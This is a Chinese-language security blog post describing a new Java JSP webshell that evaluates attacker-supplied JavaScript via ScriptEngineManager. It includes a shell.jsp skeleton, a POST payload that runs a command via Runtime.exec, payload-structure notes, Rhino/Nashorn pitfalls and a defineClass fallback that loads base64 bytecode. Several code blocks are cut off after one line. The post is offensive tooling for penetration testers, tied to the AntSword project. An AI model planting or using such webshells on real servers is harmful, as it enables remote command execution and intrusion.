本文首发于先知社区
前言
一直以来,Java一句话木马都是采用打入字节码defineClass实现的。这种方法的优势是可以完整的打进去一个类,可以几乎实现Java上的所有功能。不足之处就是Payload过于巨大,并且不像脚本语言一样方便修改。并且还存在很多特征,例如继承ClassLoader,反射调用defineClass等。本人在这里提出一种新型Java一句话木马:利用Java中JS引擎实现的一句话木马。
基本原理
- Java没有eval函数,Js有eval函数,可以把字符串当代码解析。
- Java从1.6开始自带ScriptEngineManager这个类,原生支持调用js,无需安装第三方库。
- ScriptEngine支持在Js中调用Java的对象。
综上所述,我们可以利用Java调用JS引擎的eval,然后在Payload中反过来调用Java对象,这就是本文提出的新型Java一句话的核心原理。
ScriptEngineManager全名javax.script.ScriptEngineManager,从Java 6开始自带。其中Java 6/7采用的js解析引擎是Rhino,而从java8开始换成了Nashorn。不同解析引擎对同样的代码有一些差别,这点后面有所体现。
如果说原理其实一两句话就可以说清楚,但是难点在于Payload的编写。跨语言调用最大的一个难点就是数据类型以及方法的转换。例如Java中有byte数组,Js中没有怎么办?C++里有指针但是Java里没有这个玩意怎么办?
在实现期间踩了很多的坑,这篇文章跟大家一起掰扯掰扯,希望能给大家提供点帮助。
获取脚本引擎
1 | //通过脚本名称获取: |
绑定对象
1 | ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); |
或者通过eval的重载函数,直接把对象通过一个HashMap放进去
1 | new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{ |
eval
综合上面两步,有很多种写法,例如:
shell.jsp
1 | <% |
或者直接缩写成一句:
1 | <% |
以执行命令为例:
POST:mr6=java.lang.Runtime.getRuntime().exec(“calc”);
即可达到命令执行的效果。
基本语法
翻阅文档比较枯燥,这里挑一些用到的说一说。
感兴趣的同学也可以看一下原文档:https://docs.oracle.com/en/java/javase/12/scripting/java-scripting-programmers-guide.pdf
调用Java方法
前面加上全限定类名即可
1 | var s = [3]; |
导入Java类型
1 | var Vector = java.util.Vector; |
创建Java类型的数组
1 | // Rhino |
导入Java类
默认情况下,Nashorn 不会导入Java的包。这样主要为了避免类型冲突,比如你写了一个new String,引擎怎么知道你new的是Java的String还是js的String?所以所有的Java的调用都需要加上全限定类名。但是这样写起来很不方便。
这个时候大聪明Mozilla Rhino 就想了一个办法,整了个扩展文件,里面提供了importClass 跟importPackage 方法,可以导入指定的Java包。
- importClass 导入指定Java的类,现在推荐用Java.type
- importPackage 导入一个Java包,类似import com.yzddmr6.*,现在推荐用JavaImporter
这里需要注意的是,Rhino对该语法的错误处理机制,当被访问的类存在时,Rhino加载该class,而当其不存在时,则把它当成package名称,而并不会报错。
1 | load("nashorn:mozilla_compat.js"); |
在一些特殊情况下,导入的全局包会影响js中的函数,例如类名冲突。这个时候可以用JavaImporter,并配合with语句,对导入的Java包设定一个使用范围。
1 | // create JavaImporter with specific packages and classes to import |
方法调用与重载
方法在JavaScript中实际上是对象的一个属性,所以除了使用 . 来调用方法之外,也可以使用[]来调用方法:
1 | var System = Java.type('java.lang.System'); |
Java支持重载(Overload)方法,例如,System.out 的 println 有多个重载版本,如果你想指定特定的重载版本,可以使用[]指定参数类型。例如:
1 | var System = Java.type('java.lang.System'); |
Payload结构设计
详情写在注释里了
1 | //导入基础拓展 |
语法问题的坑
两种语言对象间的相互转换
要注意的是,在遇到Java跟JS可能存在类型冲突的地方,即使导入了包也要加上全限定类名。
在编写payload的时候被坑了很久的一个问题就是,在导入java.lang以后写new String(bt,cs)没有加全限定类名,导致打印出来的一直是一个字符串地址。
正确的操作是new java.lang.String(bt,cs)。因为在Java和Js中均存在String类,按照优先级,直接new出来的会是Js的对象。
下面附上类型对比表:
JavaScript Value | JavaScript Type | Java Type | Is Scriptable | Is Function |
---|---|---|---|---|
{a:1, b:[‘x’,‘y’]} | object | org.mozilla.javascript.NativeObject | + | - |
[1,2,3] | object | org.mozilla.javascript.NativeArray | + | - |
1 | number | java.lang.Double | - | - |
1.2345 | number | java.lang.Double | - | - |
NaN | number | java.lang.Double | - | - |
Infinity | number | java.lang.Double | - | - |
-Infinity | number | java.lang.Double | - | - |
true | boolean | java.lang.Boolean | - | - |
“test” | string | java.lang.String | - | - |
null | object | null | - | - |
undefined | undefined | org.mozilla.javascript.Undefined | - | - |
function () { } | function | org.mozilla.javascript.gen.c1 | + | + |
/.*/ | object | org.mozilla.javascript.regexp.NativeRegExp | + | + |
Rhino/Nashorn解析的差异
这也是当时一个坑点,看下面一段代码
1 | var readonlyenv = System.getenv(); |
其中cmdenv是个HashMap,这段代码在Java 8中Nashorn引擎可以正常解析,var key in cmdenv的时候把cmdenv的键给输出了
但是在Java 6下运行时,Rhino把他当成了一个js对象,把其属性输出了
所以涉及到这种混合写法就会有异议,不同的引擎有不同的解释。
解决办法使用Java迭代器即可,不掺杂js的写法。
1 | var i = 0; |
反射的坑
在Java中,如果涉及到不同版本之间类的包名不一样,我们通常不能直接导入,而要使用反射的写法。
例如base64解码的时候,Java的写法如下
1 | public byte[] Base64DecodeToByte(String str) { |
改写成js风格后,发现会有一些奇奇怪怪的BUG。(后来发现反射其实也可以实现,导入Java类型然后再传入反射参数即可,就是比较麻烦)
1 | function test(str) { |
但是在Js中,我们并不需要这么麻烦。上面提到过如果importPackage了一个不存在的包名,Js引擎会将这个错误给忽略,并且由于Js松散的语言特性,我们仅仅需要正射+异常捕获就可以完成目的。大大减小了payload编写的复杂度。
1 | function Base64DecodeToByte(str) { |
保底操作
理论上,我们可以用js引擎的一句话实现所有字节码一句话的功能,退一万步讲,如果有些功能实在不好实现,或者说想套用现有的payload应该怎么办呢。
我们可以用java调用js后,再调用defineClass来实现:
编写一个命令执行的类:calc.java
1 | import java.io.IOException; |
编译之后base64一下
1 | > base64 -w 0 calc.class |
填入下方payload
1 | try { |
成功弹出计算器
也就是说,新型一句话在特殊情况下,还可以继续兼容原有的字节码一句话,甚至复用原有的Payload。
测试
测试环境:Java>=6
同样的列目录Payload,原有的字节码方式数据包长度为7378,而新型JSP一句话仅仅为2481,差不多为原有的三分之一。
列目录
中文测试
虚拟终端
数据库连接
最后
基于JS引擎的Java一句话体积更小,变化种类更多,使用起来更灵活。范围为Java 6及以上,基本可以满足需求,但是Payload写起来非常麻烦,也不好调试,算是有利有弊。
提出新型一句话并不是说一定要取代原有的打入字节码的方式,只是在更复杂情况下,可以提供给渗透人员更多的选择。
项目地址:
https://github.com/AntSwordProject/antSword/commit/a6efa86f5959204140d73092b010fe0739208385